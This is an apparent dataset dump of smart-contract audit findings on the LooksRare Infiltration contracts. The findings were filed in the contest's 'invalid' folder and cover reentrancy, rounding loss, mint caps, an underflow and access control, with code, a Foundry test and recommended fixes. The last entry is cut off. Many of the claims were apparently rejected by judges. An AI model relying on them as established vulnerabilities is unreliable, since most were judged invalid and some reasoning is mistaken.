admin","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/036.md"}} +{"title":"Reentrancy Vulnerability in InfiltrationPeriphery Contract","severity":"info","body":"Rhythmic Coffee Goblin\n\nhigh\n\n# Reentrancy Vulnerability in InfiltrationPeriphery Contract\n## Summary\n\nThe InfiltrationPeriphery contract lacks a reentrancy guard which exposes the heal function to potential reentrancy attacks. This could lead to unexpected behavior and potentially loss of funds.\n\n## Vulnerability Detail\n\nIn the heal function, after the amountIn is calculated through SWAP_ROUTER.exactOutputSingle, funds are returned back to the contract through a call to SWAP_ROUTER.refundETH() and then forwarded to the sender via _transferETHAndWrapIfFailWithGasLimit. An external contract could have the ability to call the heal function again before these operations complete, leading to incorrect calculations and transfers of funds. The lack of a reentrancy guard allows for potential nested calls to the heal function, which is a classic example of a reentrancy vulnerability.\n\n## Impact\n\nIf exploited, this vulnerability could lead to incorrect state, unexpected behavior, and potentially loss of funds. It could disrupt the normal functioning of the contract and could be used by an attacker to drain funds from the contract under certain conditions.\n\n## Code Snippet\nThe vulnerability is located in the `heal` function of the `InfiltrationPeriphery` contract:\n[Code location](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/CONTRACTS/InfiltrationPeriphery.sol#L30-L44)\n\n```solidity\nfunction heal(uint256[] calldata agentIds) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE,\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n sqrtPriceLimitX96: 0\n });\n uint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n INFILTRATION.heal(agentIds);\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement a reentrancy guard to prevent nested calls to the heal function. One common approach is to use the nonReentrant modifier from the OpenZeppelin library which ensures that a function cannot be re-entered before the initial call has completed.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/035.md"}} +{"title":"Precision loss in `healProbability` due to rounding error","severity":"info","body":"Oblong Tangelo Rabbit\n\nmedium\n\n# Precision loss in `healProbability` due to rounding error\n## Summary\n`healProbability` is subject to slightly precision loss due to rounding error.\n\n## Vulnerability Detail\n`healProbability` is used to determine the probability of a wounded agent to be healed. Function output is compared with a Chainlink VRF number. If heal probability is smaller or equal than VRF number agent is healed and killed otherwise. \nAs we can see the heal probability is an important aspect of the game dictating whether or not an agent remains in the game. \n\nIn current implementation heal probability is calculated as following:\n```js\nhealProb = (ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD * 99 - 80) * PROBABILITY_PRECISION / \n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE - \n (blocksDelay * 19 * PROBABILITY_PRECISION /\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE\n```\nAdding the numbers for a better visualization: \n```js\n healProb = (48 * 99 - 80) * 100_000_000 / 47 - \n blocksDelay * 19 * 100_000_000 / 47\n```\nThis formula is composed of two main parts that are subtracted from each other. Both parts are divided by the same number, which is 47 (judging from mainnet deployment script values and docs provided). Even if a `PROBABILITY_PRECISION` was used to avoid or minimize the precision loss it is not enough. \nInstead of subtracting two fractions with same divisor (47) we subtract the two terms first and divide the result by `47` leads to slightly different results in 3 out of 48 `blocksDelay` values:\n\nAdd the following code in `Infiltration#healProbability.t.sol` file and execute it with `forge test --mt test_healProbability_RoundingError -vvv`\n\n```solidity\n uint256 private constant PROBABILITY_PRECISION = 100_000_000;\n uint256 private constant ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE = 47;\n function getHealProbabilityWithNoPrecisionLoss(uint256 blocksDelay) pure private returns(uint256 y) {\n y = ((ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD * 99 - 80) * PROBABILITY_PRECISION - \n blocksDelay * 19 * PROBABILITY_PRECISION\n ) / \n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n }\n function test_healProbability_CheckRoundingError() public {\n assertEq(infiltration.healProbability(1), getHealProbabilityWithNoPrecisionLoss(1));\n assertEq(infiltration.healProbability(2), getHealProbabilityWithNoPrecisionLoss(2));\n assertEq(infiltration.healProbability(3), getHealProbabilityWithNoPrecisionLoss(3));\n assertEq(infiltration.healProbability(4), getHealProbabilityWithNoPrecisionLoss(4));\n assertEq(infiltration.healProbability(5), getHealProbabilityWithNoPrecisionLoss(5));\n assertEq(infiltration.healProbability(6), getHealProbabilityWithNoPrecisionLoss(6));\n assertEq(infiltration.healProbability(7), getHealProbabilityWithNoPrecisionLoss(7));\n assertEq(infiltration.healProbability(8), getHealProbabilityWithNoPrecisionLoss(8));\n assertEq(infiltration.healProbability(9), getHealProbabilityWithNoPrecisionLoss(9));\n assertEq(infiltration.healProbability(10), getHealProbabilityWithNoPrecisionLoss(10));\n assertEq(infiltration.healProbability(11), getHealProbabilityWithNoPrecisionLoss(11));\n assertEq(infiltration.healProbability(12), getHealProbabilityWithNoPrecisionLoss(12));\n assertEq(infiltration.healProbability(13), getHealProbabilityWithNoPrecisionLoss(13));\n assertEq(infiltration.healProbability(14), getHealProbabilityWithNoPrecisionLoss(14));\n assertEq(infiltration.healProbability(15), getHealProbabilityWithNoPrecisionLoss(15));\n assertEq(infiltration.healProbability(16), getHealProbabilityWithNoPrecisionLoss(16));\n assertEq(infiltration.healProbability(17), getHealProbabilityWithNoPrecisionLoss(17));\n assertEq(infiltration.healProbability(18), getHealProbabilityWithNoPrecisionLoss(18));\n assertEq(infiltration.healProbability(19), getHealProbabilityWithNoPrecisionLoss(19));\n assertEq(infiltration.healProbability(20), getHealProbabilityWithNoPrecisionLoss(20));\n assertEq(infiltration.healProbability(21), getHealProbabilityWithNoPrecisionLoss(21));\n assertEq(infiltration.healProbability(22), getHealProbabilityWithNoPrecisionLoss(22));\n assertEq(infiltration.healProbability(23), getHealProbabilityWithNoPrecisionLoss(23));\n assertEq(infiltration.healProbability(24), getHealProbabilityWithNoPrecisionLoss(24));\n assertEq(infiltration.healProbability(25), getHealProbabilityWithNoPrecisionLoss(25));\n assertEq(infiltration.healProbability(26), getHealProbabilityWithNoPrecisionLoss(26));\n assertEq(infiltration.healProbability(27), getHealProbabilityWithNoPrecisionLoss(27));\n assertEq(infiltration.healProbability(28), getHealProbabilityWithNoPrecisionLoss(28));\n assertEq(infiltration.healProbability(29), getHealProbabilityWithNoPrecisionLoss(29));\n assertEq(infiltration.healProbability(30), getHealProbabilityWithNoPrecisionLoss(30));\n assertEq(infiltration.healProbability(31), getHealProbabilityWithNoPrecisionLoss(31));\n assertEq(infiltration.healProbability(32), getHealProbabilityWithNoPrecisionLoss(32));\n assertEq(infiltration.healProbability(33), getHealProbabilityWithNoPrecisionLoss(33));\n assertEq(infiltration.healProbability(34), getHealProbabilityWithNoPrecisionLoss(34));\n assertEq(infiltration.healProbability(35), getHealProbabilityWithNoPrecisionLoss(35));\n assertEq(infiltration.healProbability(36), getHealProbabilityWithNoPrecisionLoss(36));\n assertEq(infiltration.healProbability(37), getHealProbabilityWithNoPrecisionLoss(37));\n assertEq(infiltration.healProbability(38), getHealProbabilityWithNoPrecisionLoss(38));\n assertEq(infiltration.healProbability(39), getHealProbabilityWithNoPrecisionLoss(39));\n assertEq(infiltration.healProbability(40), getHealProbabilityWithNoPrecisionLoss(40));\n assertEq(infiltration.healProbability(41), getHealProbabilityWithNoPrecisionLoss(41));\n assertEq(infiltration.healProbability(42), getHealProbabilityWithNoPrecisionLoss(42));\n assertEq(infiltration.healProbability(43), getHealProbabilityWithNoPrecisionLoss(43));\n assertEq(infiltration.healProbability(44), getHealProbabilityWithNoPrecisionLoss(44));\n assertEq(infiltration.healProbability(45), getHealProbabilityWithNoPrecisionLoss(45));\n assertEq(infiltration.healProbability(46), getHealProbabilityWithNoPrecisionLoss(46));\n assertEq(infiltration.healProbability(47), getHealProbabilityWithNoPrecisionLoss(47));\n assertEq(infiltration.healProbability(48), getHealProbabilityWithNoPrecisionLoss(48));\n }\n```\nBelow are only the rounding error cases:\n```js\n ├─ [971] Infiltration::healProbability(12) [staticcall]\n │ └─ ← 9455319149 [9.455e9]\n ├─ emit log(: Error: a == b not satisfied [uint])\n ├─ emit log_named_uint(key: Left, val: 9455319149 [9.455e9])\n ├─ emit log_named_uint(key: Right, val: 9455319148 [9.455e9])\n ├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001) \n │ └─ ← ()\n...\n\n ├─ [971] Infiltration::healProbability(24) [staticcall]\n │ └─ ← 8970212766 [8.97e9]\n ├─ emit log(: Error: a == b not satisfied [uint])\n ├─ emit log_named_uint(key: Left, val: 8970212766 [8.97e9])\n ├─ emit log_named_uint(key: Right, val: 8970212765 [8.97e9])\n ├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001) \n │ └─ ← ()\n\n...\n\n ├─ [971] Infiltration::healProbability(36) [staticcall]\n │ └─ ← 8485106383 [8.485e9]\n ├─ emit log(: Error: a == b not satisfied [uint])\n ├─ emit log_named_uint(key: Left, val: 8485106383 [8.485e9])\n ├─ emit log_named_uint(key: Right, val: 8485106382 [8.485e9])\n ├─ [0] VM::store(VM: [0x7109709ECfa91a80626fF3989D68f67F5b1DD12D], 0x6661696c65640000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000001) \n │ └─ ← ()\n```\n## Impact\nThe game's outcome might sometimes be incorrect.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L379-L381\n\n```solidity\n HEAL_PROBABILITY_MINUEND =\n ((ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD * 99 - 80) * PROBABILITY_PRECISION) /\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1019-L1028\n\n```solidity\n function healProbability(uint256 healingBlocksDelay) public view returns (uint256 y) {\n if (healingBlocksDelay == 0 || healingBlocksDelay > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD) {\n revert InvalidHealingBlocksDelay();\n }\n\n\n y =\n HEAL_PROBABILITY_MINUEND -\n ((healingBlocksDelay * 19) * PROBABILITY_PRECISION) /\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n }\n```\n\n\n\n## Tool used\n\nManual Review, Foundry\n\n## Recommendation\nUpdate the `healProbability` to subtract the two parts first and divide the result by `47` in the end.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/032.md"}} +{"title":"The user can mint more than MAX_MINT_PER_ADDRESS.","severity":"info","body":"Sticky Coal Owl\n\nmedium\n\n# The user can mint more than MAX_MINT_PER_ADDRESS.\n## Summary\nThe user can mint more than `MAX_MINT_PER_ADDRESS` because of the `owner`'s `Infiltration.sol#premint` call.\n\n## Vulnerability Detail\nThe `Infiltration.sol#premint` function is as follows.\n```solidity\nFile: Infiltration.sol\n449: function premint(address to, uint256 quantity) external payable onlyOwner {\n450: if (quantity * PRICE != msg.value) {\n451: revert InsufficientNativeTokensSupplied();\n452: }\n453: \n454: if (totalSupply() + quantity > MAX_SUPPLY) {\n455: revert ExceededTotalSupply();\n456: }\n457: \n458: if (gameInfo.currentRoundId != 0) {\n459: revert GameAlreadyBegun();\n460: }\n461: \n462: _mintERC2309(to, quantity);\n463: }\n```\nAs we can see above, `amountMintedPerAddress` data is not updated about `to` address and `quantity` amount.\nOn the other hand, in `Infiltration.sol#mint` the system restricts amount which a user can mint.\n```solidity\nFile: Infiltration.sol\n468: function mint(uint256 quantity) external payable nonReentrant {\n469: if (block.timestamp < mintStart || block.timestamp > mintEnd) {\n470: revert NotInMintPeriod();\n471: }\n472: \n473: if (gameInfo.currentRoundId != 0) {\n474: revert GameAlreadyBegun();\n475: }\n476: \n477: uint256 amountMinted = amountMintedPerAddress[msg.sender] + quantity;\n478: if (amountMinted > MAX_MINT_PER_ADDRESS) {\n479: revert TooManyMinted();\n480: }\n481: \n482: if (quantity * PRICE != msg.value) {\n483: revert InsufficientNativeTokensSupplied();\n484: }\n485: \n486: if (totalSupply() + quantity > MAX_SUPPLY) {\n487: revert ExceededTotalSupply();\n488: }\n489: \n490: amountMintedPerAddress[msg.sender] = amountMinted;\n491: _mintERC2309(msg.sender, quantity);\n492: }\n```\nSo a user can obtain more agents than `MAX_MINT_PER_ADDRESS` if `owner` preminted some amount for him.\nThen, the user can get much more probability than other users to gain rewards.\n\nThis can result in discouraging participants.\n\n## Impact\nThe user can mint more than `MAX_MINT_PER_ADDRESS`. This can result in discouraging participants.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe `Infiltration.sol#premint` function has to modified as follows.\n```solidity\nFile: Infiltration.sol\n449: function premint(address to, uint256 quantity) external payable onlyOwner {\n450: if (quantity * PRICE != msg.value) {\n451: revert InsufficientNativeTokensSupplied();\n452: }\n\n++ uint256 amountMinted = amountMintedPerAddress[to] + quantity;\n++ if (amountMinted > MAX_MINT_PER_ADDRESS) {\n++ revert TooManyMinted();\n++ }\n\n454: if (totalSupply() + quantity > MAX_SUPPLY) {\n455: revert ExceededTotalSupply();\n456: }\n457: \n458: if (gameInfo.currentRoundId != 0) {\n459: revert GameAlreadyBegun();\n460: }\n\n++ amountMintedPerAddress[to] = amountMinted;\n\n462: _mintERC2309(to, quantity);\n463: }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/024.md"}} +{"title":"Missing mint caps","severity":"info","body":"Raspy Chartreuse Panther\n\nmedium\n\n# Missing mint caps\n## Summary\n\nThe `Infiltration.sol` contract inherits from `ERC721A`.\n`ERC721A` has a quantity limit of 5000:\n```solidity\nuint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n```\n\nhttps://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol\n\non `_mintERC2309()` function. \nCurrently, there is no check for `quantity` parameter in `premint()` and `mint()` functions of our contract.\n\n## Vulnerability Detail\n\nOur contract inherits from `ERC721A` which packs `balance`, `numberMinted`, `numberBurned`, and\nan extra data chunk in 1 storage slot (64 bits per substorage) for every address. This would add an inherent\ncap of `2^64-1` to all these different fields. Currently, there is no check for quantity.\n\nAlso, if we almost reach the max cap for a balance by an owner and someone else transfers a token to this owner,\nthere would be an overflow for the balance and possibly the number of mints in the `_packedAddressData`:\nhttps://github.com/chiru-labs/ERC721A/blob/dca00fffdc8978ef517fa2bb6a5a776b544c002a/contracts/ERC721A.sol#L121-L128\n\n## Impact\n\nThe overflow could reduce the `balance` and the `numberMinted` to a way lower number and `numberBurned` to a\nway higher number.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449-L463\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L468-L492\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd an additional check if `quantity` would exceed the mint cap before calling `_mintERC2309`.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/023.md"}} +{"title":"Malicious escape may lead to protocol funds loss or insolvency","severity":"info","body":"Raspy Chartreuse Panther\n\nhigh\n\n# Malicious escape may lead to protocol funds loss or insolvency\n## Summary\n\nIn the `Infiltration.sol` contract there is `escape()` function, which calculates `prizePool` in a `unchecked` block, which can lead to protocol funds loss or even insolvency in certain cases.\n\n```solidity\n unchecked {\n prizePool = prizePool - rewardForPlayer - rewardToSecondaryPrizePool;\n }\n```\n\n## Vulnerability Detail\n\nIn case when there are two agents left, calling `escape()` function can lead to protocol funds loss or even insolvency, as `prizePool` can underflow in a scenario such as this:\n\nThere are 2 active agents left from 50 total agents.\nThe prize pool is 1 ETH.\nThe user decides to escape from the game using the `escape()` function using their `agentIds`. \nThe `rewardForPlayer` is being calculated in this way: `(totalEscapeValue *_escapeMultiplier(currentRoundAgentsAlive)) /ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;` where function `_escapeMultiplier()` calculated this way:\n\n```solidity\n function _escapeMultiplier(uint256 agentsRemaining) private view returns (uint256 multiplier) {\n multiplier =\n ((80 *\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED -\n 50 *\n (((agentsRemaining * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS) / totalSupply()) ** 2)) * 100) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED;\n }\n```\nPlugging in the numbers we get this equation which gets us the following number:\n`((80*10**18 - 50 * (((2*10**8)/50)**2 * 100))/10**8 * (10**18 / 2))/10**8` which is equal to `3.996e+21`\n\nThen this is used in `prizePool` calculation:\n\n```solidity\n prizePool = prizePool - rewardForPlayer - rewardToSecondaryPrizePool;\n```\n\n## Impact\nDoing the calculations above already the `RewardForPlayer` is bigger then the `prizePool` which leads to underflow and subsequently to an absurdly big number for the `prizePool` which the contract either can't redeem which will lead to insolvency or \nin the case the contract has enough funds that will lead to the theft of all of the funds from the contract and/or the winner not receiving his prize for the first place..\n\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L716-L796\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove `unchecked` block from `prizePool` calculations from the `escape()` function:\n\n```diff\n-- unchecked {\n-- prizePool = prizePool - rewardForPlayer - rewardToSecondaryPrizePool;\n-- }\n\n++ prizePool = prizePool - rewardForPlayer - rewardToSecondaryPrizePool;\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/020.md"}} +{"title":"`Infiltration.sol :: escape()` Agents escaping the game will get lesser rewards than expected due to precision loss","severity":"info","body":"Silly Jade Parakeet\n\nhigh\n\n# `Infiltration.sol :: escape()` Agents escaping the game will get lesser rewards than expected due to precision loss\n## Summary\nescape() function is used for agents to escape the game and take a part of the rewards from the pool, which is wrongly calculated and hence the agents get lesser rewards than expected.\n## Vulnerability Detail\nescape() function is used for agents to escape the game and take a part of the rewards from the pool, and the more participants in the game the smaller the rewards will be since the escape multiplier is smaller.\nBut the rewards depends upon the `_escapeMultiplier` and which has rounding errors due to division before multiplication.\n\nThe function escape() is calling internally `_escapeMultiplier()` to calculate `rewardForPlayer` as shown in the code snippet below :\n\n```solidity\n uint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n ```\n \n Now if you closely see the function the multiplier is calculated with the equation which has division before multiplication which will round down the values to the nearest integer and which further will result in the agents getting lesser rewards than the expected amount.\n \n \n ```solidity\n function _escapeMultiplier(uint256 agentsRemaining) private view returns (uint256 multiplier) {\n multiplier =\n ((80 *\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED -\n 50 *\n (((agentsRemaining * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS) / totalSupply()) ** 2)) * 100) / \n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS_SQUARED;\n }\n```\n## Impact\nAgents getting less rewards than the expected . Since there is fund loss incurred for the agents I am rating this as a high vulnerability.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L741\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1626-L1633\n## Tool used\n\nManual Review\n\n## Recommendation\nRecommendation for the protocol is to avoid divison before multiplication and always perform division operation at last.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/019.md"}} +{"title":"Access Control Issue in the _swap Function","severity":"info","body":"Trendy Lilac Weasel\n\nhigh\n\n# Access Control Issue in the _swap Function\n## Summary\nUnauthorized users can call the _swap function.\n## Vulnerability Detail\nThe _swap function in the code snippet is missing explicit access control checks. It is essential to ensure that only authorized users can call this function. Without proper access control, there is a risk that unauthorized users being able to invoke the _swap function. \n## Impact\nMalicious actor can do a swap.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L753-L759\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this issue, it is recommended to add access control checks to the _swap function. These checks should verify whether the caller of the function (msg.sender) is the one who is calling the function and revert if not.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/018.md"}} +{"title":"Precision Loss Due to Non-Exact Multiples in Division","severity":"info","body":"Trendy Lilac Weasel\n\nmedium\n\n# Precision Loss Due to Non-Exact Multiples in Division\n## Summary\nWhen prizePool and currentRoundAgentsAlive are not exact multiples of each other, the division operation will lead to precision loss. Solidity performs integer division by truncating the fractional part, meaning it discards the remainder. This behavior can result in incorrect calculations when the intention is to maintain the fractional part.\n\n\n## Vulnerability Detail\nExplained in the POC Below\n\n`pragma solidity ^0.8.0;\n\ncontract PrecisionLossExample {\nuint256 public prizePool;\nuint256 public currentRoundAgentsAlive;\nuint256 public totalEscapeValue;\n\nconstructor(uint256 _prizePool, uint256 _currentRoundAgentsAlive) {\n prizePool = _prizePool;\n currentRoundAgentsAlive = _currentRoundAgentsAlive;\n totalEscapeValue = prizePool / currentRoundAgentsAlive;\n}\n\nfunction calculateTotalEscapeValue() public view returns (uint256) {\n return totalEscapeValue;\n}\n}\n\n`\nIn this example, the prizePool is set to 100, and currentRoundAgentsAlive is set to 30. When we deploy the contract and calculate totalEscapeValue, we can observe that precision loss occurs due to integer division:\n\n`// Deployment\nPrecisionLossExample example = new PrecisionLossExample(100, 30);\n\n// Retrieve the calculated totalEscapeValue\nuint256 result = example.calculateTotalEscapeValue(); // result will be 3\n`\nIn this case, the result of the division is 3, which is the integer part of the result. The fractional part is discarded due to integer division, resulting in precision loss.\n\n\n## Impact\nPrecision loss can lead to inaccurate calculation of totalEscapeValue.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L740C31-L740C31\n## Tool used\n\nManual Review\n\n## Recommendation\nScale Up Values Before Division: Multiply both prizePool and currentRoundAgentsAlive by a common scaling factor before performing the division. This scaling factor should be a power of 10 to ensure precision is maintained.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/017.md"}} +{"title":"Hardcoded pool(fee) on contract **InfiltrationPeriphery**","severity":"info","body":"Active Cotton Walrus\n\nmedium\n\n# Hardcoded pool(fee) on contract **InfiltrationPeriphery**\n## Summary\n\nThe `heal` and `costToHeal` functions of the contract **InfiltrationPeriphery** interact to V3SwapRouter, both function use the same liquidity pool because the `fee` of the pool it's constant\n\n## Vulnerability Detail\n\nThe pool fee is constant 3000(0.3%), which means that the pool tier is always the same: `uint24 private constant POOL_FEE = 3_000;`\n\nThe `heal` function swap tokens from WETH to LOOKS using always the same pool:\n\n```solidity\n function heal(uint256[] calldata agentIds) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE,\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n sqrtPriceLimitX96: 0\n });\n\n uint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n\n INFILTRATION.heal(agentIds);\n\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n }\n }\n```\n\nThe `costToHeal` function also has this problem although its severity is less since it is a `view` function:\n\n```solidity\n function costToHeal(uint256[] calldata agentIds) external returns (uint256 costToHealInETH) {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\n IQuoterV2.QuoteExactOutputSingleParams memory params = IQuoterV2.QuoteExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n amount: costToHealInLOOKS,\n fee: POOL_FEE,\n sqrtPriceLimitX96: uint160(0)\n });\n\n (costToHealInETH, , , ) = QUOTER.quoteExactOutputSingle(params);\n }\n```\n\nThe pools in [UniswaV3 are differentiated between the fee](https://docs.uniswap.org/concepts/protocol/fees#pool-fees-tiers), being able to generate several pools for the same pair, when hardcoded the `fee` the user is forced to use that single pool\n\nIt may be the case that the liquidity of the pool of 3000(0.3%) is changed to the other pool with lower fee, for example 500(0.05%) or 100(0.01%)\n\n## Impact\n\nThe contract is limited to always using the same pool\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L19\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L48-L58\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `fee` parameter to the `heal` and `costToHeal` functions, with this the user can select the most convenient pool:\n\n```diff\n@@ -16,8 +16,6 @@ contract InfiltrationPeriphery is LowLevelWETH {\n address public immutable WETH;\n address public immutable LOOKS;\n \n- uint24 private constant POOL_FEE = 3_000;\n-\n constructor(\n address _transferManager,\n address _infiltration,\n@@ -42,13 +40,13 @@ contract InfiltrationPeriphery is LowLevelWETH {\n * @notice Submits a heal request for the specified agent IDs.\n * @param agentIds The agent IDs to heal.\n */\n- function heal(uint256[] calldata agentIds) external payable {\n+ function heal(uint256[] calldata agentIds, uint24 fee) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n \n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n- fee: POOL_FEE,\n+ fee: fee,\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n@@ -75,14 +73,14 @@ contract InfiltrationPeriphery is LowLevelWETH {\n * @param agentIds The agent IDs to heal.\n * @return costToHealInETH The cost to heal the specified agents.\n */\n- function costToHeal(uint256[] calldata agentIds) external returns (uint256 costToHealInETH) {\n+ function costToHeal(uint256[] calldata agentIds, uint24 fee) external returns (uint256 costToHealInETH) {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n \n IQuoterV2.QuoteExactOutputSingleParams memory params = IQuoterV2.QuoteExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n amount: costToHealInLOOKS,\n- fee: POOL_FEE,\n+ fee: fee,\n sqrtPriceLimitX96: uint160(0)\n });\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/016.md"}} +{"title":"Algorithm error","severity":"info","body":"Merry Mauve Bear\n\nmedium\n\n# Algorithm error\n## Summary\nInconsistency in calculations related to the HEAL_PROBABILITY_MINUEND parameter\n## Vulnerability Detail\nInconsistency between the parameters used in the initialization HEAL_PROBABILITY_MINUEND and subsequent calculations in the healProbability function.\nThe algorithm for calculating HEAL_PROBABILITY_MINUEND is *99-80. the calculation in HEALProbability is *19 (which is 99-80) .\n## Impact\nThe result of the healProbability function calculation is large, affecting the token destruction in _healRequestFulfilled, and the return value deadAgentsCount is not increased. The end of the game was delayed.\n## Code 